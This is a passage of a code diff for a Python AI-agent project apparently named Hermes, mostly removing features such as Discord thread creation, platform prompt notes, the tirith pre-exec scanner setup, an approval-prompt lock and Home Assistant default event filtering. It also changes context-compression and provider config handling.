entry to just the bare ID or username.
|
||||
"""
|
||||
entry = entry.strip()
|
||||
# Strip Discord mention syntax: <@123> or <@!123>
|
||||
if entry.startswith("<@") and entry.endswith(">"):
|
||||
entry = entry.lstrip("<@!").rstrip(">")
|
||||
# Strip "user:" prefix (seen in some Discord tools / onboarding pastes)
|
||||
if entry.lower().startswith("user:"):
|
||||
entry = entry[5:]
|
||||
return entry.strip()
|
||||
|
||||
|
||||
def check_discord_requirements() -> bool:
|
||||
"""Check if Discord dependencies are available."""
|
||||
return DISCORD_AVAILABLE
|
||||
@@ -116,8 +97,7 @@ class DiscordAdapter(BasePlatformAdapter):
|
||||
allowed_env = os.getenv("DISCORD_ALLOWED_USERS", "")
|
||||
if allowed_env:
|
||||
self._allowed_user_ids = {
|
||||
_clean_discord_id(uid) for uid in allowed_env.split(",")
|
||||
if uid.strip()
|
||||
uid.strip() for uid in allowed_env.split(",") if uid.strip()
|
||||
}
|
||||
|
||||
adapter_self = self # capture for closure
|
||||
@@ -271,7 +251,6 @@ class DiscordAdapter(BasePlatformAdapter):
|
||||
audio_path: str,
|
||||
caption: Optional[str] = None,
|
||||
reply_to: Optional[str] = None,
|
||||
metadata: Optional[Dict[str, Any]] = None,
|
||||
) -> SendResult:
|
||||
"""Send audio as a Discord file attachment."""
|
||||
if not self._client:
|
||||
@@ -310,7 +289,6 @@ class DiscordAdapter(BasePlatformAdapter):
|
||||
image_path: str,
|
||||
caption: Optional[str] = None,
|
||||
reply_to: Optional[str] = None,
|
||||
metadata: Optional[Dict[str, Any]] = None,
|
||||
) -> SendResult:
|
||||
"""Send a local image file natively as a Discord file attachment."""
|
||||
if not self._client:
|
||||
@@ -348,7 +326,6 @@ class DiscordAdapter(BasePlatformAdapter):
|
||||
image_url: str,
|
||||
caption: Optional[str] = None,
|
||||
reply_to: Optional[str] = None,
|
||||
metadata: Optional[Dict[str, Any]] = None,
|
||||
) -> SendResult:
|
||||
"""Send an image natively as a Discord file attachment."""
|
||||
if not self._client:
|
||||
@@ -734,21 +711,6 @@ class DiscordAdapter(BasePlatformAdapter):
|
||||
except Exception as e:
|
||||
logger.debug("Discord followup failed: %s", e)
|
||||
|
||||
@tree.command(name="thread", description="Create a new thread and start a Hermes session in it")
|
||||
@discord.app_commands.describe(
|
||||
name="Thread name",
|
||||
message="Optional first message to send to Hermes in the thread",
|
||||
auto_archive_duration="Auto-archive in minutes (60, 1440, 4320, 10080)",
|
||||
)
|
||||
async def slash_thread(
|
||||
interaction: discord.Interaction,
|
||||
name: str,
|
||||
message: str = "",
|
||||
auto_archive_duration: int = 1440,
|
||||
):
|
||||
await interaction.response.defer(ephemeral=True)
|
||||
await self._handle_thread_create_slash(interaction, name, message, auto_archive_duration)
|
||||
|
||||
def _build_slash_event(self, interaction: discord.Interaction, text: str) -> MessageEvent:
|
||||
"""Build a MessageEvent from a Discord slash command interaction."""
|
||||
is_dm = isinstance(interaction.channel, discord.DMChannel)
|
||||
@@ -779,188 +741,6 @@ class DiscordAdapter(BasePlatformAdapter):
|
||||
raw_message=interaction,
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Thread creation helpers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
async def _handle_thread_create_slash(
|
||||
self,
|
||||
interaction: discord.Interaction,
|
||||
name: str,
|
||||
message: str = "",
|
||||
auto_archive_duration: int = 1440,
|
||||
) -> None:
|
||||
"""Create a Discord thread from a slash command and start a session in it."""
|
||||
result = await self._create_thread(
|
||||
interaction,
|
||||
name=name,
|
||||
message=message,
|
||||
auto_archive_duration=auto_archive_duration,
|
||||
)
|
||||
|
||||
if not result.get("success"):
|
||||
error = result.get("error", "unknown error")
|
||||
await interaction.followup.send(f"Failed to create thread: {error}", ephemeral=True)
|
||||
return
|
||||
|
||||
thread_id = result.get("thread_id")
|
||||
thread_name = result.get("thread_name") or name
|
||||
|
||||
# Tell the user where the thread is
|
||||
link = f"<#{thread_id}>" if thread_id else f"**{thread_name}**"
|
||||
await interaction.followup.send(f"Created thread {link}", ephemeral=True)
|
||||
|
||||
# If a message was provided, kick off a new Hermes session in the thread
|
||||
starter = (message or "").strip()
|
||||
if starter and thread_id:
|
||||
await self._dispatch_thread_session(interaction, thread_id, thread_name, starter)
|
||||
|
||||
async def _dispatch_thread_session(
|
||||
self,
|
||||
interaction: discord.Interaction,
|
||||
thread_id: str,
|
||||
thread_name: str,
|
||||
text: str,
|
||||
) -> None:
|
||||
"""Build a MessageEvent pointing at a thread and send it through handle_message."""
|
||||
guild_name = ""
|
||||
if hasattr(interaction, "guild") and interaction.guild:
|
||||
guild_name = interaction.guild.name
|
||||
|
||||
chat_name = f"{guild_name} / {thread_name}" if guild_name else thread_name
|
||||
|
||||
source = self.build_source(
|
||||
chat_id=thread_id,
|
||||
chat_name=chat_name,
|
||||
chat_type="thread",
|
||||
user_id=str(interaction.user.id),
|
||||
user_name=interaction.user.display_name,
|
||||
thread_id=thread_id,
|
||||
)
|
||||
|
||||
event = MessageEvent(
|
||||
text=text,
|
||||
message_type=MessageType.TEXT,
|
||||
source=source,
|
||||
raw_message=interaction,
|
||||
)
|
||||
await self.handle_message(event)
|
||||
|
||||
def _thread_parent_channel(self, channel: Any) -> Any:
|
||||
"""Return the parent text channel when invoked from a thread."""
|
||||
return getattr(channel, "parent", None) or channel
|
||||
|
||||
async def _resolve_interaction_channel(self, interaction: discord.Interaction) -> Optional[Any]:
|
||||
"""Return the interaction channel, fetching it if the payload is partial."""
|
||||
channel = getattr(interaction, "channel", None)
|
||||
if channel is not None:
|
||||
return channel
|
||||
if not self._client:
|
||||
return None
|
||||
channel_id = getattr(interaction, "channel_id", None)
|
||||
if channel_id is None:
|
||||
return None
|
||||
channel = self._client.get_channel(int(channel_id))
|
||||
if channel is not None:
|
||||
return channel
|
||||
try:
|
||||
return await self._client.fetch_channel(int(channel_id))
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
async def _create_thread(
|
||||
self,
|
||||
interaction: discord.Interaction,
|
||||
*,
|
||||
name: str,
|
||||
message: str = "",
|
||||
auto_archive_duration: int = 1440,
|
||||
) -> Dict[str, Any]:
|
||||
"""Create a thread in the current Discord channel.
|
||||
|
||||
Tries ``parent_channel.create_thread()`` first. If Discord rejects
|
||||
that (e.g. permission issues), falls back to sending a seed message
|
||||
and creating the thread from it.
|
||||
"""
|
||||
name = (name or "").strip()
|
||||
if not name:
|
||||
return {"error": "Thread name is required."}
|
||||
|
||||
if auto_archive_duration not in VALID_THREAD_AUTO_ARCHIVE_MINUTES:
|
||||
allowed = ", ".join(str(v) for v in sorted(VALID_THREAD_AUTO_ARCHIVE_MINUTES))
|
||||
return {"error": f"auto_archive_duration must be one of: {allowed}."}
|
||||
|
||||
channel = await self._resolve_interaction_channel(interaction)
|
||||
if channel is None:
|
||||
return {"error": "Could not resolve the current Discord channel."}
|
||||
if isinstance(channel, discord.DMChannel):
|
||||
return {"error": "Discord threads can only be created inside server text channels, not DMs."}
|
||||
|
||||
parent_channel = self._thread_parent_channel(channel)
|
||||
if parent_channel is None:
|
||||
return {"error": "Could not determine a parent text channel for the new thread."}
|
||||
|
||||
display_name = getattr(getattr(interaction, "user", None), "display_name", None) or "unknown user"
|
||||
reason = f"Requested by {display_name} via /thread"
|
||||
starter_message = (message or "").strip()
|
||||
|
||||
try:
|
||||
thread = await parent_channel.create_thread(
|
||||
name=name,
|
||||
auto_archive_duration=auto_archive_duration,
|
||||
reason=reason,
|
||||
)
|
||||
if starter_message:
|
||||
await thread.send(starter_message)
|
||||
return {
|
||||
"success": True,
|
||||
"thread_id": str(thread.id),
|
||||
"thread_name": getattr(thread, "name", None) or name,
|
||||
}
|
||||
except Exception as direct_error:
|
||||
try:
|
||||
seed_content = starter_message or f"\U0001f9f5 Thread created by Hermes: **{name}**"
|
||||
seed_msg = await parent_channel.send(seed_content)
|
||||
thread = await seed_msg.create_thread(
|
||||
name=name,
|
||||
auto_archive_duration=auto_archive_duration,
|
||||
reason=reason,
|
||||
)
|
||||
return {
|
||||
"success": True,
|
||||
"thread_id": str(thread.id),
|
||||
"thread_name": getattr(thread, "name", None) or name,
|
||||
}
|
||||
except Exception as fallback_error:
|
||||
return {
|
||||
"error": (
|
||||
"Discord rejected direct thread creation and the fallback also failed. "
|
||||
f"Direct error: {direct_error}. Fallback error: {fallback_error}"
|
||||
)
|
||||
}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Auto-thread helpers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
async def _auto_create_thread(self, message: 'DiscordMessage') -> Optional[Any]:
|
||||
"""Create a thread from a user message for auto-threading.
|
||||
|
||||
Returns the created thread object, or ``None`` on failure.
|
||||
"""
|
||||
# Build a short thread name from the message
|
||||
content = (message.content or "").strip()
|
||||
thread_name = content[:80] if content else "Hermes"
|
||||
if len(content) > 80:
|
||||
thread_name = thread_name[:77] + "..."
|
||||
|
||||
try:
|
||||
thread = await message.create_thread(name=thread_name, auto_archive_duration=1440)
|
||||
return thread
|
||||
except Exception as e:
|
||||
logger.warning("[%s] Auto-thread creation failed: %s", self.name, e)
|
||||
return None
|
||||
|
||||
async def send_exec_approval(
|
||||
self, chat_id: str, command: str, approval_id: str
|
||||
) -> SendResult:
|
||||
@@ -1072,19 +852,6 @@ class DiscordAdapter(BasePlatformAdapter):
|
||||
message.content = message.content.replace(f"<@{self._client.user.id}>", "").strip()
|
||||
message.content = message.content.replace(f"<@!{self._client.user.id}>", "").strip()
|
||||
|
||||
# Auto-thread: when enabled, automatically create a thread for every
|
||||
# new message in a text channel so each conversation is isolated.
|
||||
# Messages already inside threads or DMs are unaffected.
|
||||
auto_threaded_channel = None
|
||||
if not is_thread and not isinstance(message.channel, discord.DMChannel):
|
||||
auto_thread = os.getenv("DISCORD_AUTO_THREAD", "").lower() in ("true", "1", "yes")
|
||||
if auto_thread:
|
||||
thread = await self._auto_create_thread(message)
|
||||
if thread:
|
||||
is_thread = True
|
||||
thread_id = str(thread.id)
|
||||
auto_threaded_channel = thread
|
||||
|
||||
# Determine message type
|
||||
msg_type = MessageType.TEXT
|
||||
if message.content.startswith("/"):
|
||||
@@ -1103,16 +870,13 @@ class DiscordAdapter(BasePlatformAdapter):
|
||||
msg_type = MessageType.DOCUMENT
|
||||
break
|
||||
|
||||
# When auto-threading kicked in, route responses to the new thread
|
||||
effective_channel = auto_threaded_channel or message.channel
|
||||
|
||||
# Determine chat type
|
||||
if isinstance(message.channel, discord.DMChannel):
|
||||
chat_type = "dm"
|
||||
chat_name = message.author.name
|
||||
elif is_thread:
|
||||
chat_type = "thread"
|
||||
chat_name = self._format_thread_chat_name(effective_channel)
|
||||
chat_name = self._format_thread_chat_name(message.channel)
|
||||
else:
|
||||
chat_type = "group"
|
||||
chat_name = getattr(message.channel, "name", str(message.channel.id))
|
||||
@@ -1124,7 +888,7 @@ class DiscordAdapter(BasePlatformAdapter):
|
||||
|
||||
# Build source
|
||||
source = self.build_source(
|
||||
chat_id=str(effective_channel.id),
|
||||
chat_id=str(message.channel.id),
|
||||
chat_name=chat_name,
|
||||
chat_type=chat_type,
|
||||
user_id=str(message.author.id),
|
||||
|
||||
@@ -83,7 +83,6 @@ class HomeAssistantAdapter(BasePlatformAdapter):
|
||||
self._watch_domains: Set[str] = set(extra.get("watch_domains", []))
|
||||
self._watch_entities: Set[str] = set(extra.get("watch_entities", []))
|
||||
self._ignore_entities: Set[str] = set(extra.get("ignore_entities", []))
|
||||
self._watch_all: bool = bool(extra.get("watch_all", False))
|
||||
self._cooldown_seconds: int = int(extra.get("cooldown_seconds", 30))
|
||||
|
||||
# Cooldown tracking: entity_id -> last_event_timestamp
|
||||
@@ -116,15 +115,6 @@ class HomeAssistantAdapter(BasePlatformAdapter):
|
||||
# Dedicated REST session for send() calls
|
||||
self._rest_session = aiohttp.ClientSession()
|
||||
|
||||
# Warn if no event filters are configured
|
||||
if not self._watch_domains and not self._watch_entities and not self._watch_all:
|
||||
logger.warning(
|
||||
"[%s] No watch_domains, watch_entities, or watch_all configured. "
|
||||
"All state_changed events will be dropped. Configure filters in "
|
||||
"your HA platform config to receive events.",
|
||||
self.name,
|
||||
)
|
||||
|
||||
# Start background listener
|
||||
self._listen_task = asyncio.create_task(self._listen_loop())
|
||||
self._running = True
|
||||
@@ -267,17 +257,13 @@ class HomeAssistantAdapter(BasePlatformAdapter):
|
||||
if entity_id in self._ignore_entities:
|
||||
return
|
||||
|
||||
# Apply domain/entity watch filters (closed by default — require
|
||||
# explicit watch_domains, watch_entities, or watch_all to forward)
|
||||
# Apply domain/entity watch filters
|
||||
domain = entity_id.split(".")[0] if "." in entity_id else ""
|
||||
if self._watch_domains or self._watch_entities:
|
||||
domain_match = domain in self._watch_domains if self._watch_domains else False
|
||||
entity_match = entity_id in self._watch_entities if self._watch_entities else False
|
||||
if not domain_match and not entity_match:
|
||||
return
|
||||
elif not self._watch_all:
|
||||
# No filters configured and watch_all is off — drop the event
|
||||
return
|
||||
|
||||
# Apply cooldown
|
||||
now = time.time()
|
||||
|
||||
@@ -26,8 +26,6 @@ _IS_WINDOWS = platform.system() == "Windows"
|
||||
from pathlib import Path
|
||||
from typing import Dict, List, Optional, Any
|
||||
|
||||
from hermes_cli.config import get_hermes_home
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
@@ -134,7 +132,7 @@ class WhatsAppAdapter(BasePlatformAdapter):
|
||||
)
|
||||
self._session_path: Path = Path(config.extra.get(
|
||||
"session_path",
|
||||
get_hermes_home() / "whatsapp" / "session"
|
||||
Path.home() / ".hermes" / "whatsapp" / "session"
|
||||
))
|
||||
self._message_queue: asyncio.Queue = asyncio.Queue()
|
||||
self._bridge_log_fh = None
|
||||
|
||||
+15
-28
@@ -248,21 +248,14 @@ class GatewayRunner:
|
||||
self._pending_messages: Dict[str, str] = {} # Queued messages during interrupt
|
||||
|
||||
# Track pending exec approvals per session
|
||||
# Key: session_key, Value: {"command": str, "pattern_key": str, ...}
|
||||
self._pending_approvals: Dict[str, Dict[str, Any]] = {}
|
||||
# Key: session_key, Value: {"command": str, "pattern_key": str}
|
||||
self._pending_approvals: Dict[str, Dict[str, str]] = {}
|
||||
|
||||
# Persistent Honcho managers keyed by gateway session key.
|
||||
# This preserves write_frequency="session" semantics across short-lived
|
||||
# per-message AIAgent instances.
|
||||
self._honcho_managers: Dict[str, Any] = {}
|
||||
self._honcho_configs: Dict[str, Any] = {}
|
||||
|
||||
# Ensure tirith security scanner is available (downloads if needed)
|
||||
try:
|
||||
from tools.tirith_security import ensure_installed
|
||||
ensure_installed()
|
||||
except Exception:
|
||||
pass # Non-fatal — fail-open at scan time if unavailable
|
||||
|
||||
# Initialize session database for session_search tool support
|
||||
self._session_db = None
|
||||
@@ -1056,15 +1049,11 @@ class GatewayRunner:
|
||||
if user_text in ("yes", "y", "approve", "ok", "go", "do it"):
|
||||
approval = self._pending_approvals.pop(session_key_preview)
|
||||
cmd = approval["command"]
|
||||
pattern_keys = approval.get("pattern_keys", [])
|
||||
if not pattern_keys:
|
||||
pk = approval.get("pattern_key", "")
|
||||
pattern_keys = [pk] if pk else []
|
||||
pattern_key = approval.get("pattern_key", "")
|
||||
logger.info("User approved dangerous command: %s...", cmd[:60])
|
||||
from tools.terminal_tool import terminal_tool
|
||||
from tools.approval import approve_session
|
||||
for pk in pattern_keys:
|
||||
approve_session(session_key_preview, pk)
|
||||
approve_session(session_key_preview, pattern_key)
|
||||
result = terminal_tool(command=cmd, force=True)
|
||||
return f"✅ Command approved and executed.\n\n```\n{result[:3500]}\n```"
|
||||
elif user_text in ("no", "n", "deny", "cancel", "nope"):
|
||||
@@ -1136,16 +1125,10 @@ class GatewayRunner:
|
||||
get_model_context_length,
|
||||
)
|
||||
|
||||
# Read model + compression config from config.yaml.
|
||||
# NOTE: hygiene threshold is intentionally HIGHER than the agent's
|
||||
# own compressor (0.85 vs 0.50). Hygiene is a safety net for
|
||||
# sessions that grew too large between turns — it fires pre-agent
|
||||
# to prevent API failures. The agent's own compressor handles
|
||||
# normal context management during its tool loop with accurate
|
||||
# real token counts. Having hygiene at 0.50 caused premature
|
||||
# compression on every turn in long gateway sessions.
|
||||
# Read model + compression config from config.yaml — same
|
||||
# source of truth the agent itself uses.
|
||||
_hyg_model = "anthropic/claude-sonnet-4.6"
|
||||
_hyg_threshold_pct = 0.85
|
||||
_hyg_threshold_pct = 0.50
|
||||
_hyg_compression_enabled = True
|
||||
try:
|
||||
_hyg_cfg_path = _hermes_home / "config.yaml"
|
||||
@@ -1161,18 +1144,22 @@ class GatewayRunner:
|
||||
elif isinstance(_model_cfg, dict):
|
||||
_hyg_model = _model_cfg.get("default", _hyg_model)
|
||||
|
||||
# Read compression settings — only use enabled flag.
|
||||
# The threshold is intentionally separate from the agent's
|
||||
# compression.threshold (hygiene runs higher).
|
||||
# Read compression settings
|
||||
_comp_cfg = _hyg_data.get("compression", {})
|
||||
if isinstance(_comp_cfg, dict):
|
||||
_hyg_threshold_pct = float(
|
||||
_comp_cfg.get("threshold", _hyg_threshold_pct)
|
||||
)
|
||||
_hyg_compression_enabled = str(
|
||||
_comp_cfg.get("enabled", True)
|
||||
).lower() in ("true", "1", "yes")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Check env override for disabling compression entirely
|
||||
# Also check env overrides (same as run_agent.py)
|
||||
_hyg_threshold_pct = float(
|
||||
os.getenv("CONTEXT_COMPRESSION_THRESHOLD", str(_hyg_threshold_pct))
|
||||
)
|
||||
if os.getenv("CONTEXT_COMPRESSION_ENABLED", "").lower() in ("false", "0", "no"):
|
||||
_hyg_compression_enabled = False
|
||||
|
||||
|
||||
@@ -177,26 +177,6 @@ def build_session_context_prompt(context: SessionContext) -> str:
|
||||
elif context.source.user_id:
|
||||
lines.append(f"**User ID:** {context.source.user_id}")
|
||||
|
||||
# Platform-specific behavioral notes
|
||||
if context.source.platform == Platform.SLACK:
|
||||
lines.append("")
|
||||
lines.append(
|
||||
"**Platform notes:** You are running inside Slack. "
|
||||
"You do NOT have access to Slack-specific APIs — you cannot search "
|
||||
"channel history, pin/unpin messages, manage channels, or list users. "
|
||||
"Do not promise to perform these actions. If the user asks, explain "
|
||||
"that you can only read messages sent directly to you and respond."
|
||||
)
|
||||
elif context.source.platform == Platform.DISCORD:
|
||||
lines.append("")
|
||||
lines.append(
|
||||
"**Platform notes:** You are running inside Discord. "
|
||||
"You do NOT have access to Discord-specific APIs — you cannot search "
|
||||
"channel history, pin messages, manage roles, or list server members. "
|
||||
"Do not promise to perform these actions. If the user asks, explain "
|
||||
"that you can only read messages sent directly to you and respond."
|
||||
)
|
||||
|
||||
# Connected platforms
|
||||
platforms_list = ["local (files on this machine)"]
|
||||
for p in context.connected_platforms:
|
||||
|
||||
@@ -14,10 +14,8 @@ import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from hermes_cli.config import get_hermes_home
|
||||
|
||||
|
||||
CACHE_PATH = get_hermes_home() / "sticker_cache.json"
|
||||
CACHE_PATH = Path(os.path.expanduser("~/.hermes/sticker_cache.json"))
|
||||
|
||||
# Vision prompt for describing stickers -- kept concise to save tokens
|
||||
STICKER_VISION_PROMPT = (
|
||||
|
||||
+2
-23
@@ -1541,20 +1541,8 @@ def detect_external_credentials() -> List[Dict[str, Any]]:
|
||||
# CLI Commands — login / logout
|
||||
# =============================================================================
|
||||
|
||||
def _update_config_for_provider(
|
||||
provider_id: str,
|
||||
inference_base_url: str,
|
||||
default_model: Optional[str] = None,
|
||||
) -> Path:
|
||||
"""Update config.yaml and auth.json to reflect the active provider.
|
||||
|
||||
When *default_model* is provided the function also writes it as the
|
||||
``model.default`` value. This prevents a race condition where the
|
||||
gateway (which re-reads config per-message) picks up the new provider
|
||||
before the caller has finished model selection, resulting in a
|
||||
mismatched model/provider (e.g. ``anthropic/claude-opus-4.6`` sent to
|
||||
MiniMax's API).
|
||||
"""
|
||||
def _update_config_for_provider(provider_id: str, inference_base_url: str) -> Path:
|
||||
"""Update config.yaml and auth.json to reflect the active provider."""
|
||||
# Set active_provider in auth.json so auto-resolution picks this provider
|
||||
with _auth_store_lock():
|
||||
auth_store = _load_auth_store()
|
||||
@@ -1588,15 +1576,6 @@ def _update_config_for_provider(
|
||||
else:
|
||||
# Clear stale base_url to prevent contamination when switching providers
|
||||
model_cfg.pop("base_url", None)
|
||||
|
||||
# When switching to a non-OpenRouter provider, ensure model.default is
|
||||
# valid for the new provider. An OpenRouter-formatted name like
|
||||
# "anthropic/claude-opus-4.6" will fail on direct-API providers.
|
||||
if default_model:
|
||||
cur_default = model_cfg.get("default", "")
|
||||
if not cur_default or "/" in cur_default:
|
||||
model_cfg["default"] = default_model
|
||||
|
||||
config["model"] = model_cfg
|
||||
|
||||
config_path.write_text(yaml.safe_dump(config, sort_keys=False))
|
||||
|
||||
+35
-45
@@ -227,53 +227,43 @@ def approval_callback(cli, command: str, description: str) -> str:
|
||||
Shows a selection UI with choices: once / session / always / deny.
|
||||
When the command is longer than 70 characters, a "view" option is
|
||||
included so the user can reveal the full text before deciding.
|
||||
|
||||
Uses cli._approval_lock to serialize concurrent requests (e.g. from
|
||||
parallel delegation subtasks) so each prompt gets its own turn.
|
||||
"""
|
||||
lock = getattr(cli, "_approval_lock", None)
|
||||
if lock is None:
|
||||
import threading
|
||||
cli._approval_lock = threading.Lock()
|
||||
lock = cli._approval_lock
|
||||
timeout = 60
|
||||
response_queue = queue.Queue()
|
||||
choices = ["once", "session", "always", "deny"]
|
||||
if len(command) > 70:
|
||||
choices.append("view")
|
||||
|
||||
with lock:
|
||||
timeout = 60
|
||||
response_queue = queue.Queue()
|
||||
choices = ["once", "session", "always", "deny"]
|
||||
if len(command) > 70:
|
||||
choices.append("view")
|
||||
cli._approval_state = {
|
||||
"command": command,
|
||||
"description": description,
|
||||
"choices": choices,
|
||||
"selected": 0,
|
||||
"response_queue": response_queue,
|
||||
}
|
||||
cli._approval_deadline = _time.monotonic() + timeout
|
||||
|
||||
cli._approval_state = {
|
||||
"command": command,
|
||||
"description": description,
|
||||
"choices": choices,
|
||||
"selected": 0,
|
||||
"response_queue": response_queue,
|
||||
}
|
||||
cli._approval_deadline = _time.monotonic() + timeout
|
||||
if hasattr(cli, "_app") and cli._app:
|
||||
cli._app.invalidate()
|
||||
|
||||
if hasattr(cli, "_app") and cli._app:
|
||||
cli._app.invalidate()
|
||||
while True:
|
||||
try:
|
||||
result = response_queue.get(timeout=1)
|
||||
cli._approval_state = None
|
||||
cli._approval_deadline = 0
|
||||
if hasattr(cli, "_app") and cli._app:
|
||||
cli._app.invalidate()
|
||||
return result
|
||||
except queue.Empty:
|
||||
remaining = cli._approval_deadline - _time.monotonic()
|
||||
if remaining <= 0:
|
||||
break
|
||||
if hasattr(cli, "_app") and cli._app:
|
||||
cli._app.invalidate()
|
||||
|
||||
while True:
|
||||
try:
|
||||
result = response_queue.get(timeout=1)
|
||||
cli._approval_state = None
|
||||
cli._approval_deadline = 0
|
||||
if hasattr(cli, "_app") and cli._app:
|
||||
cli._app.invalidate()
|
||||
return result
|
||||
except queue.Empty:
|
||||
remaining = cli._approval_deadline - _time.monotonic()
|
||||
if remaining <= 0:
|
||||
break
|
||||
if hasattr(cli, "_app") and cli._app:
|
||||
cli._app.invalidate()
|
||||
|
||||
cli._approval_state = None
|
||||
cli._approval_deadline = 0
|
||||
if hasattr(cli, "_app") and cli._app:
|
||||
cli._app.invalidate()
|
||||
cprint(f"\n{_DIM} ⏱ Timeout — denying command{_RST}")
|
||||
return "deny"
|
||||
cli._approval_state = None
|
||||
cli._approval_deadline = 0
|
||||
if hasattr(cli, "_app") and cli._app:
|
||||
cli._app.invalidate()
|
||||
cprint(f"\n{_DIM} ⏱ Timeout — denying command{_RST}")
|
||||
return "deny"
|
||||
|
||||
@@ -18,36 +18,6 @@ DEFAULT_CODEX_MODELS: List[str] = [
|
||||
"gpt-5.1-codex-mini",
|
||||
]
|
||||
|
||||
_FORWARD_COMPAT_TEMPLATE_MODELS: List[tuple[str, tuple[str, ...]]] = [
|
||||
("gpt-5.3-codex", ("gpt-5.2-codex",)),
|
||||
("gpt-5.4", ("gpt-5.3-codex", "gpt-5.2-codex")),
|
||||
("gpt-5.3-codex-spark", ("gpt-5.3-codex", "gpt-5.2-codex")),
|
||||
]
|
||||
|
||||
|
||||
def _add_forward_compat_models(model_ids: List[str]) -> List[str]:
|
||||
"""Add Clawdbot-style synthetic forward-compat Codex models.
|
||||
|
||||
If a newer Codex slug isn't returned by live discovery, surface it when an
|
||||
older compatible template model is present. This mirrors Clawdbot's
|
||||
synthetic catalog / forward-compat behavior for GPT-5 Codex variants.
|
||||
"""
|
||||
ordered: List[str] = []
|
||||
seen: set[str] = set()
|
||||
for model_id in model_ids:
|
||||
if model_id not in seen:
|
||||
ordered.append(model_id)
|
||||
seen.add(model_id)
|
||||
|
||||
for synthetic_model, template_models in _FORWARD_COMPAT_TEMPLATE_MODELS:
|
||||
if synthetic_model in seen:
|
||||
continue
|
||||
if any(template in seen for template in template_models):
|
||||
ordered.append(synthetic_model)
|
||||
seen.add(synthetic_model)
|
||||
|
||||
return ordered
|
||||
|
||||
|
||||
def _fetch_models_from_api(access_token: str) -> List[str]:
|
||||
"""Fetch available models from the Codex API. Returns visible models sorted by priority."""
|
||||
@@ -84,7 +54,7 @@ def _fetch_models_from_api(access_token: str) -> List[str]:
|
||||
sortable.append((rank, slug))
|
||||
|
||||
sortable.sort(key=lambda x: (x[0], x[1]))
|
||||
return _add_forward_compat_models([slug for _, slug in sortable])
|
||||
return [slug for _, slug in sortable]
|
||||
|
||||
|
||||
def _read_default_model(codex_home: Path) -> Optional[str]:
|
||||
@@ -155,7 +125,7 @@ def get_codex_model_ids(access_token: Optional[str] = None) -> List[str]:
|
||||
if access_token:
|
||||
api_models = _fetch_models_from_api(access_token)
|
||||
if api_models:
|
||||
return _add_forward_compat_models(api_models)
|
||||
return api_models
|
||||
|
||||
# Fall back to local sources
|
||||
default_model = _read_default_model(codex_home)
|
||||
@@ -170,4 +140,4 @@ def get_codex_model_ids(access_token: Optional[str] = None) -> List[str]:
|
||||
if model_id not in ordered:
|
||||
ordered.append(model_id)
|
||||
|
||||
return _add_forward_compat_models(ordered)
|
||||
return ordered
|
||||
|
||||
@@ -16,9 +16,9 @@ from prompt_toolkit.completion import Completer, Completion
|
||||
# Commands organized by category for better help display
|
||||
COMMANDS_BY_CATEGORY = {
|
||||
"Session": {
|
||||
"/new": "Start a new session (fresh session ID + history)",
|
||||
"/reset": "Start a new session (alias for /new)",
|
||||
"/clear": "Clear screen and start a new session",
|
||||
"/new": "Start a new conversation (reset history)",
|
||||
"/reset": "Reset conversation only (keep screen)",
|
||||
"/clear": "Clear screen and reset conversation (fresh start)",
|
||||
"/history": "Show conversation history",
|
||||
"/save": "Save the current conversation",
|
||||
"/retry": "Retry the last message (resend to agent)",
|
||||
|
||||
+7
-30
@@ -194,13 +194,8 @@ DEFAULT_CONFIG = {
|
||||
},
|
||||
|
||||
"stt": {
|
||||
"provider": "local", # "local" (free, faster-whisper) | "openai" (Whisper API)
|
||||
"local": {
|
||||
"model": "base", # tiny, base, small, medium, large-v3
|
||||
},
|
||||
"openai": {
|
||||
"model": "whisper-1", # whisper-1, gpt-4o-mini-transcribe, gpt-4o-transcribe
|
||||
},
|
||||
"enabled": True,
|
||||
"model": "whisper-1",
|
||||
},
|
||||
|
||||
"human_delay": {
|
||||
@@ -255,15 +250,6 @@ DEFAULT_CONFIG = {
|
||||
# Or dict format: {"name": {"description": "...", "system_prompt": "...", "tone": "...", "style": "..."}}
|
||||
"personalities": {},
|
||||
|
||||
# Pre-exec security scanning via tirith
|
||||
"security": {
|
||||
"redact_secrets": True,
|
||||
"tirith_enabled": True,
|
||||
"tirith_path": "tirith",
|
||||
"tirith_timeout": 5,
|
||||
"tirith_fail_open": True,
|
||||
},
|
||||
|
||||
# Config schema version - bump this when adding new required fields
|
||||
"_config_version": 7,
|
||||
}
|
||||
@@ -894,23 +880,14 @@ def load_config() -> Dict[str, Any]:
|
||||
return _normalize_max_turns_config(config)
|
||||
|
||||
|
||||
_SECURITY_COMMENT = """
|
||||
_COMMENTED_SECTIONS = """
|
||||
# ── Security ──────────────────────────────────────────────────────────
|
||||
# API keys, tokens, and passwords are redacted from tool output by default.
|
||||
# Set to false to see full values (useful for debugging auth issues).
|
||||
# tirith pre-exec scanning is enabled by default when the tirith binary
|
||||
# is available. Configure via security.tirith_* keys or env vars
|
||||
# (TIRITH_ENABLED, TIRITH_BIN, TIRITH_TIMEOUT, TIRITH_FAIL_OPEN).
|
||||
#
|
||||
# security:
|
||||
# redact_secrets: false
|
||||
# tirith_enabled: true
|
||||
# tirith_path: "tirith"
|
||||
# tirith_timeout: 5
|
||||
# tirith_fail_open: true
|
||||
"""
|
||||
|
||||
_FALLBACK_COMMENT = """
|
||||
# ── Fallback Model ────────────────────────────────────────────────────
|
||||
# Automatic provider failover when primary is unavailable.
|
||||
# Uncomment and configure to enable. Triggers on rate limits (429),
|
||||
@@ -973,18 +950,18 @@ def save_config(config: Dict[str, Any]):
|
||||
|
||||
# Build optional commented-out sections for features that are off by
|
||||
# default or only relevant when explicitly configured.
|
||||
parts = []
|
||||
sections = []
|
||||
sec = normalized.get("security", {})
|
||||
if not sec or sec.get("redact_secrets") is None:
|
||||
parts.append(_SECURITY_COMMENT)
|
||||
sections.append("security")
|
||||
fb = normalized.get("fallback_model", {})
|
||||
if not fb or not (fb.get("provider") and fb.get("model")):
|
||||
parts.append(_FALLBACK_COMMENT)
|
||||
sections.append("fallback")
|
||||
|
||||
atomic_yaml_write(
|
||||
config_path,
|
||||
normalized,
